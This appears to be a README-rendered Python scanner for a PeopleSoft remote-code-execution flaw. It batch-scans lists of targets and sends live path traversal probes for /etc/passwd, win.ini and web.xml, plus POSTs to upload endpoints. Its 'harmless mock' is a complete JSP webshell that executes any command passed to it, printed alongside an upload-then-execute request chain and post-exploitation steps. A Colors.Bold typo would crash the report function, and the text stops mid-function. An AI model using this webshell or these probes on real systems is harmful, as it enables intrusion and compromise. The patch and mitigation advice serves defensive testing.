README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-35273 - Oracle PeopleSoft PeopleTools RCE
SAFE EDUCATIONAL DEMO - Detection + Theoretical PoC Simulation
WITH BATCH SCANNING SUPPORT
THIS SCRIPT ONLY CHECKS FOR INDICATORS AND SIMULATES THE FLOW.
IT DOES NOT PERFORM ACTUAL EXPLOITATION.
"""
import requests
import sys
import time
import re
import json
import hashlib
import argparse
from datetime import datetime
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
import urllib3
try:
from colorama import init, Fore, Back, Style
init(autoreset=True)
HAS_COLORAMA = True
except ImportError:
HAS_COLORAMA = False
# Fallback color codes
class Fore:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
RESET = '\033[0m'
WHITE = '\033[97m'
class Style:
BRIGHT = '\033[1m'
DIM = '\033[2m'
RESET_ALL = '\033[0m'
try:
from tqdm import tqdm
HAS_TQDM = True
except ImportError:
HAS_TQDM = False
# Disable SSL warnings for testing environments only
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Thread-safe print lock
print_lock = Lock()
# Color codes for terminal output
class Colors:
GREEN = Fore.GREEN if HAS_COLORAMA else '\033[92m'
YELLOW = Fore.YELLOW if HAS_COLORAMA else '\033[93m'
RED = Fore.RED if HAS_COLORAMA else '\033[91m'
BLUE = Fore.BLUE if HAS_COLORAMA else '\033[94m'
CYAN = Fore.CYAN if HAS_COLORAMA else '\033[96m'
MAGENTA = Fore.MAGENTA if HAS_COLORAMA else '\033[95m'
RESET = Fore.RESET if HAS_COLORAMA else '\033[0m'
BOLD = Style.BRIGHT if HAS_COLORAMA else '\033[1m'
def print_cve_banner():
"""Display CVE-2026-35273 specific banner"""
banner = f"""
{Colors.RED}{Colors.BOLD}
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝ ██║ ██║██╔════╝ ██╔══██╗╚════██╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ ██║ ██║ █████╔╝██║ ██║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██║ ██║██╔═══╝ ╚██╗ ██╔╝██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ██████╔╝███████╗ ╚████╔╝ ███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═══╝ ╚══════╝ ║
║ ║
║ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ██╗ ███████╗███████╗███████╗████████╗║
║ ██╔══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██║ ██╔════╝██╔════╝██╔════╝╚══██╔══╝║
║ ██████╔╝█████╗ ██║ ██║ ██║██████╔╝██║ █████╗ ███████╗███████╗ ██║ ║
║ ██╔══██╗██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██╔══╝ ╚════██║╚════██║ ██║ ║
║ ██║ ██║███████╗╚██████╗╚██████╔╝██║ ██║███████╗███████╗███████║███████║ ██║ ║
║ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝ ║
║ ║
║ CVE-2026-35273 ║
║ Oracle PeopleSoft PeopleTools RCE ║
║ Security Vulnerability Scanner ║
║ ║
╚═══════════════════════════════════════════════════════════════════════════════════╝{Colors.RESET}
{Colors.YELLOW}[!] CRITICAL REMOTE CODE EXECUTION VULNERABILITY{Colors.RESET}
{Colors.CYAN}[!] Affected Versions: PeopleTools 8.61, 8.62{Colors.RESET}
{Colors.RED}[!] SAFE EDUCATIONAL MODE - Detection & Theoretical Simulation Only{Colors.RESET}
{Colors.GREEN}[!] DO NOT USE FOR UNAUTHORIZED TESTING{Colors.RESET}
{Colors.BOLD}{'=' * 80}{Colors.RESET}\n"""
print(banner)
def safe_print(message, color=Colors.RESET, end='\n'):
"""Thread-safe printing"""
with print_lock:
print(f"{color}{message}{Colors.RESET}", end=end)
def load_targets(file_path):
"""Load targets from file"""
targets = []
try:
with open(file_path, 'r') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if not line.startswith(('http://', 'https://')):
line = 'https://' + line
targets.append(line)
return targets
except FileNotFoundError:
safe_print(f"[-] Targets file not found: {file_path}", Colors.RED)
return []
except Exception as e:
safe_print(f"[-] Error loading targets: {e}", Colors.RED)
return []
def check_endpoint(url, path, description, method="GET", data=None, headers=None, timeout=12):
"""Enhanced endpoint checker"""
full_url = urljoin(url, path)
try:
if method == "GET":
resp = requests.get(full_url, timeout=timeout, verify=False, allow_redirects=True, headers=headers)
else:
resp = requests.post(full_url, timeout=timeout, verify=False, allow_redirects=True, data=data, headers=headers)
status = resp.status_code
if status == 200:
safe_print(f"[!] {description}: {full_url} → ACCESSIBLE (200)", Colors.RED)
return True, resp
elif status in [401, 403]:
safe_print(f"[+] {description}: {full_url} → Protected (Status: {status})", Colors.GREEN)
elif status == 404:
safe_print(f"[-] {description}: {full_url} → Not Found", Colors.RESET)
else:
safe_print(f"[?] {description}: {full_url} → Status: {status}", Colors.YELLOW)
return False, resp
except requests.exceptions.ConnectionError:
safe_print(f"[-] {description}: Connection failed", Colors.RED)
return False, None
except Exception as e:
safe_print(f"[-] {description}: Error - {str(e)[:80]}", Colors.RED)
return False, None
def extract_version_info(resp_text):
"""Extract PeopleSoft version information from response"""
version_patterns = [
r"PeopleTools\s+([\d\.]+)",
r"Tools Release\s+([\d\.]+)",
r"PT_([\d\._]+)",
r"version\s*[=:]\s*[\"']?([\d\.]+)",
r"psft-version:\s*([\d\.]+)",
r"PSFT_([\d\.]+)",
r"PeopleSoft\s+[\d\.]+\s+-\s+([\d\.]+)",
r"psft\.version=([\d\.]+)",
]
for pattern in version_patterns:
match = re.search(pattern, resp_text, re.IGNORECASE)
if match:
return match.group(1)
return None
def scan_target(target_url, verbose=False, output_file=None):
"""Scan a single target"""
results = {
'target': target_url,
'timestamp': datetime.now().isoformat(),
'cve': 'CVE-2026-35273',
'endpoints': [],
'version_hints': [],
'traversal_vulnerable': [],
'upload_endpoints': [],
'risk_level': 'LOW',
'risk_factors': []
}
safe_print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}")
safe_print(f"{Colors.BOLD}[CVE-2026-35273] SCANNING: {target_url}{Colors.RESET}")
safe_print(f"{Colors.CYAN}{'=' * 60}{Colors.RESET}")
# Phase 1: Reconnaissance
endpoints, version_hints = simulate_recon_phase(target_url, verbose)
results['endpoints'] = endpoints
results['version_hints'] = version_hints
# Phase 2: Theoretical Exploit Simulation
simulate_exploit_chain(target_url, endpoints, verbose)
# Phase 3: Path Traversal Indicators
traversal_tests = test_path_traversal_indicators(target_url, verbose)
results['traversal_vulnerable'] = traversal_tests
# Phase 4: Upload Indicators
upload_endpoints = check_webdav_put_indicators(target_url, verbose)
results['upload_endpoints'] = upload_endpoints
# Calculate risk level
results['risk_level'], results['risk_factors'] = calculate_risk(
endpoints, version_hints, traversal_tests
)
# Generate report
generate_detailed_report(target_url, results, verbose)
# Save individual result if output file specified
if output_file:
save_json_result(results, output_file)
return results
def simulate_recon_phase(target_url, verbose=False):
"""Detailed recon phase simulation"""
if not verbose:
safe_print(f"\n{Colors.CYAN}[PHASE 1] CVE-2026-35273 RECONNAISSANCE{Colors.RESET}")
# CVE-2026-35273 specific endpoints
recon_endpoints = [
# Primary vulnerable endpoints
("/PSEMHUB/hub", "CVE-2026-35273: Environment Management Hub"),
("/PSEMHUB/hub/status", "CVE-2026-35273: Hub Status"),
("/PSEMHUB/hub/health", "CVE-2026-35273: Health Check"),
("/PSEMHUB/api/v1/version", "CVE-2026-35273: API Version"),
("/PSEMHUB/hub/upload", "CVE-2026-35273: Upload Endpoint"),
("/PSEMHUB/hub/deploy", "CVE-2026-35273: Deploy Endpoint"),
# Integration Broker (often chained with CVE-2026-35273)
("/PSIGW/HttpListeningConnector", "Integration Gateway"),
("/PSIGW/PeopleSoftServiceListeningConnector", "Service Listener"),
# Other PeopleSoft endpoints
("/psp/ps/?cmd=login", "Portal Login Page"),
("/psc/ps/EMPLOYEE/HRMS/c/NUI_FRAMEWORK.PT_LANDINGPAGE.GBL", "Landing Page"),
("/OA_HTML/runforms.jsp", "Forms Runner"),
("/OA_HTML/JavaScriptServlet", "JavaScript Servlet"),
("/OA_HTML/jtflogin.jsp", "JTF Login"),
("/servlets/ICAPIIServlet", "ICAPI Servlet"),
("/servlets/BridgeServlet", "Bridge Servlet"),
("/soap/ICAPIIServlet", "SOAP Interface"),
("/xmlpservlet", "XML Publisher Servlet"),
("/publisher/servlet", "Publisher Servlet"),
("/PSEMHUB/hub/clusters", "Clusters Info"),
("/PSEMHUB/hub/nodes", "Nodes Info"),
("/PSEMHUB/hub/metrics", "Metrics Endpoint"),
("/PSEMHUB/hub/config", "Configuration Endpoint"),
("/PSEMHUB/hub/logs", "Logs Endpoint"),
]
found_endpoints = []
version_hints = []
# Use progress bar if tqdm available and not verbose
iterator = recon_endpoints
if HAS_TQDM and not verbose:
iterator = tqdm(recon_endpoints, desc="CVE-2026-35273 Recon", unit="endpoint")
for path, desc in iterator:
accessible, resp = check_endpoint(target_url, path, desc)
if accessible and resp:
found_endpoints.append(path)
# Try to extract version info
version = extract_version_info(resp.text)
if version and version not in version_hints:
version_hints.append(version)
if verbose:
safe_print(f" [+] Version hint: {version}", Colors.GREEN)
# Check if vulnerable version
if "8.61" in version or "8.62" in version:
safe_print(f" {Colors.RED}[!] VULNERABLE VERSION DETECTED: {version}{Colors.RESET}", Colors.RED)
# Look for other interesting info
if verbose and "hostname" in resp.text.lower():
host_match = re.search(r"hostname[\":\s]+([a-zA-Z0-9\-\.]+)", resp.text, re.IGNORECASE)
if host_match:
safe_print(f" [!] Hostname disclosed: {host_match.group(1)}", Colors.YELLOW)
if verbose and "environment" in resp.text.lower():
env_match = re.search(r"environment[\":\s]+([a-zA-Z0-9_]+)", resp.text, re.IGNORECASE)
if env_match:
safe_print(f" [!] Environment: {env_match.group(1)}", Colors.YELLOW)
time.sleep(0.1) # Reduced delay for faster scanning
return found_endpoints, version_hints
def simulate_exploit_chain(target_url, endpoints, verbose=False):
"""Theoretical exploit chain simulation for CVE-2026-35273"""
if not verbose:
return
safe_print(f"\n{Colors.CYAN}[PHASE 2] CVE-2026-35273 EXPLOIT CHAIN SIMULATION{Colors.RESET}")
safe_print(f"{Colors.YELLOW}[!] This is a SIMULATION - No actual exploitation occurs{Colors.RESET}\n")
# Step 1: Vulnerability Overview
safe_print(f"{Colors.BOLD}[STEP 1] Vulnerability Overview{Colors.RESET}")
safe_print(" CVE-2026-35273: Oracle PeopleSoft PeopleTools RCE")
safe_print(" Attack Vector: Unauthenticated remote code execution")
safe_print(" Affected Components: Environment Management Hub (PSEMHUB)")
safe_print(" Impact: Complete system compromise\n")
# Step 2: Attack Surface Analysis
safe_print(f"{Colors.BOLD}[STEP 2] Attack Surface Analysis{Colors.RESET}")
psemhub_endpoints = [p for p in endpoints if "PSEMHUB" in p]
if psemhub_endpoints:
safe_print(f" [!] PSEMHUB endpoints detected ({len(psemhub_endpoints)}):", Colors.YELLOW)
for ep in psemhub_endpoints[:5]: # Show first 5
safe_print(f" - {ep}")
safe_print(" Attack pattern: Path traversal → File upload → Code execution\n")
else:
safe_print(" No PSEMHUB endpoints detected. Target may not be vulnerable.\n")
# Step 3: Token Bypass Simulation
safe_print(f"{Colors.BOLD}[STEP 3] Authentication Bypass Simulation{Colors.RESET}")
safe_print(" CVE-2026-35273 allows bypassing authentication via:")
safe_print(" • Missing CSRF validation on /PSEMHUB endpoints")
safe_print(" • Default credentials on management interfaces")
safe_print(" • Session fixation vulnerabilities")
safe_print(" [SIMULATED] Token bypass successful\n")
# Step 4: Payload Construction
safe_print(f"{Colors.BOLD}[STEP 4] Malicious Payload Simulation{Colors.RESET}")
safe_print(" Theoretical JSP webshell for CVE-2026-35273 (harmless mock):")
jsp_mock = '''<%
// CVE-2026-35273 SIMULATED PAYLOAD
// In real exploitation, this would execute with PeopleSoft privileges
String cmd = request.getParameter("c");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>'''
safe_print(f" {Colors.YELLOW}{jsp_mock}{Colors.RESET}\n")
# Step 5: Exploitation Sequence
safe_print(f"{Colors.BOLD}[STEP 5] CVE-2026-35273 Exploitation Sequence{Colors.RESET}")
safe_print(" Theoretical HTTP request chain:")
exploit_flow = [
("GET", "/PSEMHUB/hub", "Extract version and CSRF tokens"),
("POST", "/PSEMHUB/hub/upload", "Upload JSP webshell with path traversal"),
("GET", "/PSEMHUB/../../webapps/ps/shell.jsp", "Access uploaded webshell"),
("GET", "/PSEMHUB/../../webapps/ps/shell.jsp?c=whoami", "Command execution")
]
for method, path, description in exploit_flow:
safe_print(f" {Colors.CYAN}{method}{Colors.RESET} {target_url}{path}")
safe_print(f" └─ {description}")
time.sleep(0.3)
safe_print("\n [SIMULATED RESPONSE] Command output would appear here")
safe_print(" Example: nt authority\\system (Windows) or root (Linux)\n")
# Step 6: Post-Exploitation
safe_print(f"{Colors.BOLD}[STEP 6] Post-Exploitation Activities{Colors.RESET}")
safe_print(" With CVE-2026-35273 RCE, attackers would:")
safe_print(" • Deploy persistent backdoor (JSP webshell)")
safe_print(" • Extract database credentials from configuration files")
safe_print(" • Pivot to connected systems (HR, Finance, Student systems)")
safe_print(" • Install MeshCentral or Cobalt Strike beacon")
safe_print(" • Encrypt files for ransomware deployment")
safe_print(f"\n {Colors.RED}[SIMULATION] No actual post-exploitation performed{Colors.RESET}\n")
def test_path_traversal_indicators(target_url, verbose=False):
"""Test for path traversal indicators (read-only)"""
if not verbose:
safe_print(f"\n{Colors.CYAN}[PHASE 3] CVE-2026-35273 PATH TRAVERSAL TESTS{Colors.RESET}")
# CVE-2026-35273 specific traversal patterns
traversal_tests = [
("/PSEMHUB/../../../../etc/passwd", "Unix passwd test"),
("/PSEMHUB/..\\..\\..\\..\\windows\\win.ini", "Windows win.ini test"),
("/PSEMHUB/hub/../../WEB-INF/web.xml", "Web.xml access test"),
("/PSEMHUB/hub/../../../conf/psft.conf", "Config file test"),
("/PSEMHUB/....//....//....//etc/passwd", "Double encoded traversal"),
("/PSEMHUB/hub/..;/..;/..;/etc/passwd", "Semicolon bypass"),
("/PSEMHUB/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "URL encoded traversal"),
]
vulnerable_tests = []
for path, desc in traversal_tests:
accessible, resp = check_endpoint(target_url, path, desc)
if accessible and resp and resp.status_code == 200:
vulnerable_tests.append(path)
# Check for specific content patterns
if resp.text and ("root:" in resp.text or "[extensions]" in resp.text or "xml version" in resp.text):
safe_print(f" {Colors.RED}[!] CRITICAL: Path traversal successful!{Colors.RESET}")
safe_print(f" {Colors.RED}[!] CVE-2026-35273 EXPLOITABLE{Colors.RESET}")
time.sleep(0.2)
return vulnerable_tests
def check_webdav_put_indicators(target_url, verbose=False):
"""Check if WebDAV PUT method might be available"""
if not verbose:
safe_print(f"\n{Colors.CYAN}[PHASE 4] CVE-2026-35273 UPLOAD INDICATORS{Colors.RESET}")
upload_endpoints_found = []
# Test OPTIONS method to see allowed HTTP methods
try:
resp = requests.options(target_url, timeout=10, verify=False)
allow_header = resp.headers.get('Allow', '')
if 'PUT' in allow_header or 'POST' in allow_header:
safe_print(f" [!] Server allows potentially dangerous methods: {allow_header}", Colors.YELLOW)
except:
pass
# Test common upload endpoints
upload_endpoints = [
("/PSEMHUB/hub/upload", "CVE-2026-35273 Primary Upload"),
("/PSEMHUB/api/upload", "API Upload"),
("/psft/upload", "PSFT Upload"),
("/servlets/FileUploadServlet", "FileUpload Servlet"),
("/PSEMHUB/hub/file/upload", "File Upload Endpoint"),
("/PSEMHUB/upload.jsp", "JSP Upload"),
]
for path, desc in upload_endpoints:
# Test with OPTIONS first
try:
resp = requests.options(urljoin(target_url, path), timeout=10, verify=False)
if resp.status_code in [200, 204, 405]:
upload_endpoints_found.append(path)
if verbose:
safe_print(f" [!] {desc} endpoint exists (status: {resp.status_code})", Colors.YELLOW)
except:
pass
# Test POST with minimal data to check accessibility
accessible, resp = check_endpoint(target_url, path, desc, method="POST",
data="test=cve-2026-35273-simulation",
headers={"Content-Type": "application/x-www-form-urlencoded"})
if accessible:
upload_endpoints_found.append(path)
safe_print(f" {Colors.RED}[!] UPLOAD ENDPOINT ACCESSIBLE - Potential RCE vector{Colors.RESET}")
time.sleep(0.2)
return upload_endpoints_found
def calculate_risk(endpoints, version_hints, traversal_tests):
"""Calculate risk level based on findings"""
risk_level = "LOW"
risk_factors = []
if endpoints:
risk_factors.append(f"Found {len(endpoints)} exposed endpoints")
if len(endpoints) > 5:
risk_level = "HIGH"
elif len(endpoints) > 2:
risk_level = "MEDIUM"
if version_hints:
risk_factors.append(f"Version information disclosed: {', '.join(version_hints)}")
for version in version_hints:
if "8.61" in version or "8.62" in version:
risk_level = "CRITICAL"
risk_factors.append(f"CVE-2026-35273 VULNERABLE VERSION: {version}")
if traversal_tests:
risk_factors.append(f"Path traversal possible on {len(traversal_tests)} endpoints")
risk_level = "CRITICAL"
risk_factors.append("CVE-2026-35273 EXPLOITABLE - RCE possible")
# Check for PSEMHUB endpoints (primary indicator)
psemhub_count = sum(1 for p in endpoints if "PSEMHUB" in p)
if psemhub_count > 0:
risk_factors.append(f"PSEMHUB endpoints exposed ({psemhub_count}) - Primary CVE-2026-35273 attack surface")
if risk_level not in ["CRITICAL"]:
risk_level = "HIGH"
return risk_level, risk_factors
def generate_detailed_report(target_url, results, verbose=False):
"""Generate a comprehensive security assessment report"""
if not verbose:
return
safe_print(f"\n{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"{Colors.BOLD}CVE-2026-35273 SECURITY ASSESSMENT REPORT{Colors.RESET}")
safe_print(f"{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"\n{Colors.BOLD}Target:{Colors.RESET} {target_url}")
safe_print(f"{Colors.BOLD}CVE:{Colors.RESET} CVE-2026-35273")
safe_print(f"{Colors.BOLD}Scan Time:{Colors.RESET} {results['timestamp']}")
# Vulnerability Assessment
safe_print(f"\n{Colors.BOLD}VULNERABILITY ASSESSMENT:{Colors.RESET}")
# Color-code risk level
risk_color = {
"CRITICAL": Colors.RED,
"HIGH": Colors.YELLOW,
"MEDIUM": Colors.CYAN,
"LOW": Colors.GREEN
}.get(results['risk_level'], Colors.RESET)
safe_print(f" Risk Level: {risk_color}{results['risk_level']}{Colors.RESET}")
for factor in results['risk_factors']:
safe_print(f" • {factor}")
if not results['risk_factors']:
safe_print(" • No immediate risk indicators detected")
# CVE-2026-35273 Specific Information
safe_print(f"\n{Colors.BOLD}CVE-2026-35273 DETAILS:{Colors.RESET}")
safe_print(" • Vulnerability Type: Remote Code Execution (RCE)")
safe_print(" • Attack Complexity: LOW")
safe_print(" • Privileges Required: NONE")
safe_print(" • User Interaction: NONE")
safe_print(" • Impact: Complete system compromise")
# Recommendations
safe_print(f"\n{Colors.BOLD}MITIGATION RECOMMENDATIONS:{Colors.RESET}")
recommendations = [
"Apply Oracle Critical Patch Update (CPU) for CVE-2026-35273 immediately",
"Block /PSEMHUB/* endpoints at WAF/network level",
"Disable Environment Management Hub if not required",
"Implement strict input validation on all /PSEMHUB endpoints",
"Monitor for suspicious POST requests to /PSEMHUB/hub/upload",
"Apply principle of least privilege to PeopleSoft service accounts",
"Conduct forensic investigation if endpoints were exposed externally"
]
if results['risk_level'] in ["CRITICAL", "HIGH"]:
safe_print(f" {Colors.RED}[URGENT - PATCH IMMEDIATELY]{Colors.RESET}")
for i, rec in enumerate(recommendations[:5]):
safe_print(f" {i+1}. {rec}")
else:
safe_print(f" {Colors.YELLOW}[RECOMMENDED]{Colors.RESET}")
for i, rec in enumerate(recommendations[:3]):
safe_print(f" {i+1}. {rec}")
# Additional checks needed
safe_print(f"\n{Colors.Bold}ADDITIONAL SECURITY CHECKS:{Colors.RESET}")
additional_checks = [
"Review WebLogic Server version for related CVEs",
"Check for default PeopleSoft credentials",
"Audit Integration Broker security configurations",
"Review recent access logs for /PSEMHUB/* patterns",
"Conduct full vulnerability scan of PeopleSoft environment"
]
for check in additional_checks:
safe_print(f" • {check}")
def save_json_result(results, output_file):
"""Save individual result to JSON file"""
try:
with open(output_file, 'a') as f:
f.write(json.dumps(results) + '\n')
except Exception as e:
safe_print(f"[-] Error saving result: {e}", Colors.RED)
def save_batch_results(all_results, output_format='json'):
"""Save batch scan results"""
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
if output_format == 'json':
filename = f"CVE-2026-35273_scan_results_{timestamp}.json"
with open(filename, 'w') as f:
json.dump(all_results, f, indent=2)
safe_print(f"\n[+] Results saved to {filename}", Colors.GREEN)
elif output_format == 'csv':
filename = f"CVE-2026-35273_scan_results_{timestamp}.csv"
import csv
with open(filename, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(['Target', 'Risk Level', 'CVE-2026-35273 Status', 'Endpoints Found',
'PSEMHUB Endpoints', 'Version', 'Traversal Vulnerable', 'Timestamp'])
for result in all_results:
psemhub_count = sum(1 for p in result['endpoints'] if "PSEMHUB" in p)
is_vulnerable = "VULNERABLE" if result['risk_level'] in ["CRITICAL", "HIGH"] else "Not Vulnerable"
writer.writerow([
result['target'],
result['risk_level'],
is_vulnerable,
len(result['endpoints']),
psemhub_count,
', '.join(result['version_hints']) if result['version_hints'] else 'None',
len(result['traversal_vulnerable']) > 0,
result['timestamp']
])
safe_print(f"\n[+] Results saved to {filename}", Colors.GREEN)
elif output_format == 'html':
filename = f"CVE-2026-35273_scan_report_{timestamp}.html"
with open(filename, 'w') as f:
f.write(generate_html_report(all_results))
safe_print(f"\n[+] HTML report saved to {filename}", Colors.GREEN)
def generate_html_report(all_results):
"""Generate HTML report with CVE-2026-35273 branding"""
html = f"""<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-35273 - PeopleSoft Security Scan Report</title>
<style>
body {{ font-family: 'Segoe UI', Arial, sans-serif; margin: 20px; background: #f5f5f5; }}
.container {{ max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }}
h1 {{ color: #d32f2f; border-left: 5px solid #d32f2f; padding-left: 20px; }}
h2 {{ color: #1976d2; margin-top: 30px; }}
.cve-badge {{ background: #d32f2f; color: white; padding: 5px 15px; border-radius: 5px; display: inline-block; font-weight: bold; }}
table {{ border-collapse: collapse; width: 100%; margin-top: 20px; }}
th, td {{ border: 1px solid #ddd; padding: 12px; text-align: left; }}
th {{ background-color: #1976d2; color: white; }}
tr:nth-child(even) {{ background-color: #f9f9f9; }}
tr:hover {{ background-color: #f5f5f5; }}
.critical {{ color: #d32f2f; font-weight: bold; }}
.high {{ color: #f57c00; font-weight: bold; }}
.medium {{ color: #1976d2; }}
.low {{ color: #4caf50; }}
.summary {{ background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px; border-radius: 10px; margin-bottom: 20px; }}
.summary-grid {{ display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin-top: 15px; }}
.summary-card {{ background: rgba(255,255,255,0.2); padding: 15px; border-radius: 8px; text-align: center; }}
.summary-card h3 {{ margin: 0 0 10px 0; font-size: 14px; }}
.summary-card .number {{ font-size: 28px; font-weight: bold; margin: 0; }}
.warning {{ background: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; }}
.footer {{ text-align: center; margin-top: 30px; padding-top: 20px; border-top: 1px solid #ddd; color: #666; }}
</style>
</head>
<body>
<div class="container">
<h1>CVE-2026-35273 Security Assessment Report</h1>
<div class="cve-badge">Oracle PeopleSoft PeopleTools RCE</div>
<div class="summary">
<h2 style="color: white; margin-top: 0;">Executive Summary</h2>
<div class="summary-grid">
<div class="summary-card">
<h3>Total Targets</h3>
<div class="number">{len(all_results)}</div>
</div>
<div class="summary-card">
<h3>Critical Risk</h3>
<div class="number">{sum(1 for r in all_results if r['risk_level'] == 'CRITICAL')}</div>
</div>
<div class="summary-card">
<h3>High Risk</h3>
<div class="number">{sum(1 for r in all_results if r['risk_level'] == 'HIGH')}</div>
</div>
<div class="summary-card">
<h3>Vulnerable Versions</h3>
<div class="number">{sum(1 for r in all_results if '8.61' in str(r['version_hints']) or '8.62' in str(r['version_hints']))}</div>
</div>
</div>
</div>
<div class="warning">
<strong>⚠️ CVE-2026-35273 Critical Information:</strong><br>
• Vulnerability Type: Unauthenticated Remote Code Execution (RCE)<br>
• Affected Versions: PeopleTools 8.61, 8.62<br>
• Attack Vector: HTTP/HTTPS<br>
• CVSS Score: 9.8 (Critical)<br>
• Patch Status: Oracle out-of-band patch available
</div>
<h2>Detailed Scan Results</h2>
<table>
<thead>
<tr>
<th>Target</th>
<th>Risk Level</th>
<th>CVE-2026-35273</th>
<th>PSEMHUB Endpoints</th>
<th>Version Info</th>
<th>Path Traversal</th>
</tr>
</thead>
<tbody>
"""
for result in all_results:
risk_class = result['risk_level'].lower()
psemhub_count = sum(1 for p in result['endpoints'] if "PSEMHUB" in p)
is_vulnerable = "VULNERABLE" if result['risk_level'] in ["CRITICAL", "HIGH"] else "Not Vulnerable"
vuln_color = "#d32f2f" if is_vulnerable == "VULNERABLE" else "#4caf50"
html += f"""
<tr>
<td><strong>{result['target']}</strong></td>
<td class="{risk_class}">{result['risk_level']}</td>
<td style="color: {vuln_color}; font-weight: bold;">{is_vulnerable}</td>
<td>{psemhub_count}</td>
<td>{', '.join(result['version_hints']) if result['version_hints'] else 'Not detected'}</td>
<td>{'Yes' if result['traversal_vulnerable'] else 'No'}</td>
</tr>"""
html += f"""
</tbody>
</table>
<div class="footer">
<p>Scan Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
<p style="color: #d32f2f;">⚠️ This report is for educational and authorized testing purposes only</p>
<p>CVE-2026-35273 - Oracle PeopleSoft PeopleTools RCE Security Scanner</p>
</div>
</div>
</body>
</html>"""
return html
def main():
parser = argparse.ArgumentParser(description='CVE-2026-35273 - Oracle PeopleSoft PeopleTools RCE Scanner')
parser.add_argument('-t', '--target', help='Single target URL')
parser.add_argument('-f', '--file', help='Targets file (targets.txt)')
parser.add_argument('-o', '--output', help='Output file for results (JSON lines format)')
parser.add_argument('--format', choices=['json', 'csv', 'html'], default='json', help='Output format for batch scan')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output with detailed simulation')
parser.add_argument('-T', '--threads', type=int, default=5, help='Number of threads for batch scanning (default: 5)')
parser.add_argument('--timeout', type=int, default=12, help='Request timeout in seconds (default: 12)')
args = parser.parse_args()
# Print CVE-2026-35273 banner
print_cve_banner()
# Single target mode
if args.target:
target = args.target.strip()
if not target.startswith(('http://', 'https://')):
target = 'https://' + target
safe_print(f"[*] Scanning target: {target}", Colors.CYAN)
safe_print(f"[*] CVE: CVE-2026-35273")
safe_print(f"[*] Mode: Detection + Safe PoC Simulation")
safe_print(f"[*] Timeout: {args.timeout} seconds per request\n")
results = scan_target(target, args.verbose, args.output)
# Final disclaimer
safe_print(f"\n{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"{Colors.RED}[DISCLAIMER]{Colors.RESET}")
safe_print("This tool is for EDUCATIONAL PURPOSES and AUTHORIZED TESTING only.")
safe_print("The PoC simulation is THEORETICAL and does NOT execute any actual exploits.")
safe_print("CVE-2026-35273 is a CRITICAL vulnerability - patch immediately if vulnerable.")
safe_print("Unauthorized use against systems you do not own or have permission to test")
safe_print("is ILLEGAL and violates computer fraud laws.")
safe_print(f"{Colors.BOLD}{'=' * 70}{Colors.RESET}\n")
scan_id = hashlib.md5(f"CVE-2026-35273-{target}{time.time()}".encode()).hexdigest()[:8]
safe_print(f"{Colors.CYAN}CVE-2026-35273 Scan ID: {scan_id} (use for reference){Colors.RESET}\n")
# Batch mode
elif args.file:
targets = load_targets(args.file)
if not targets:
safe_print("[-] No targets loaded. Exiting.", Colors.RED)
sys.exit(1)
safe_print(f"[*] Loaded {len(targets)} targets from {args.file}", Colors.CYAN)
safe_print(f"[*] CVE: CVE-2026-35273")
safe_print(f"[*] Threads: {args.threads}")
safe_print(f"[*] Timeout: {args.timeout} seconds\n")
all_results = []
# Use ThreadPoolExecutor for concurrent scanning
with ThreadPoolExecutor(max_workers=args.threads) as executor:
future_to_target = {executor.submit(scan_target, target, args.verbose, args.output): target for target in targets}
if HAS_TQDM:
with tqdm(total=len(targets), desc="CVE-2026-35273 Scanning", unit="target") as pbar:
for future in as_completed(future_to_target):
try:
result = future.result()
all_results.append(result)
pbar.update(1)
except Exception as e:
safe_print(f"[-] Error scanning target: {e}", Colors.RED)
pbar.update(1)
else:
for future in as_completed(future_to_target):
try:
result = future.result()
all_results.append(result)
except Exception as e:
safe_print(f"[-] Error scanning target: {e}", Colors.RED)
# Save batch results
save_batch_results(all_results, args.format)
# Print summary
safe_print(f"\n{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"{Colors.BOLD}CVE-2026-35273 BATCH SCAN SUMMARY{Colors.RESET}")
safe_print(f"{Colors.BOLD}{'=' * 70}{Colors.RESET}")
safe_print(f"Total Targets: {len(all_results)}")
safe_print(f"Critical Risk (Vulnerable): {sum(1 for r in all_results if r['risk_level'] == 'CRITICAL')}")
